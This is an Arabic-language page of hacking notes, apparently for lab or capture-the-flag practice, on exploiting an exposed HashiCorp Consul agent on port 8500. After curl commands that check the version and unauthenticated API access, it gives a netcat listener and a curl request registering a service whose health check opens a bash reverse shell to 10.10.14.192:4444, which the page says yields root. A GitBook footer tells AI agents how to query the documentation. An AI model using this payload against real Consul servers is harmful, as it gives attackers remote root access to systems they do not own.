> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/consul-8500.md).

# Consul - 8500

### اكتشاف المنفذ 8500 (Consul)

المنفذ **8500** يعرض واجهة الويب الخاصة بـ Consul.

<figure><img src="/files/bf873af511c894c6d029e6447425e74d76e40646" alt=""><figcaption></figcaption></figure>

بعد الاستعلام عن `127.0.0.1:8500/ui/`، إصدار Consul **1.19.2** تم العثور عليه.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/a2e2a30727263f1d10533424b1001e0befaffc38" alt=""><figcaption></figcaption></figure>

#### التحقق من الوصول إلى واجهة REST API

اختبر ما إذا كانت واجهة REST API الخاصة بـ Consul متاحة بدون مصادقة:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

يؤكد الرد أن الواجهة البرمجية مكشوفة.

### الاستغلال عبر فحص خبيث

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

سجّل خدمة بفحص خبيث يشغّل صدفة عكسية bash:

```bash
nc -lvnp 4444
```

#### تسجيل خدمة بفحص خبيث

يتيح Consul تسجيل الخدمات ديناميكيًا عبر طلبات HTTP. استغل هذا السلوك لإنشاء فحص ينفّذ أمر bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

سلوك الحمولة:

* `Check.Args[]`: يحتوي على أمر bash يفتح **شل عكسي**.
* `الفاصل الزمني`: يحدد تنفيذًا تلقائيًا كل 10 ثوانٍ.

يؤدي تشغيل هذه الحمولة إلى الحصول على صدفة root.

<figure><img src="/files/5887d36e31e2628912be7f626725c7c8bf080a48" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/consul-8500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
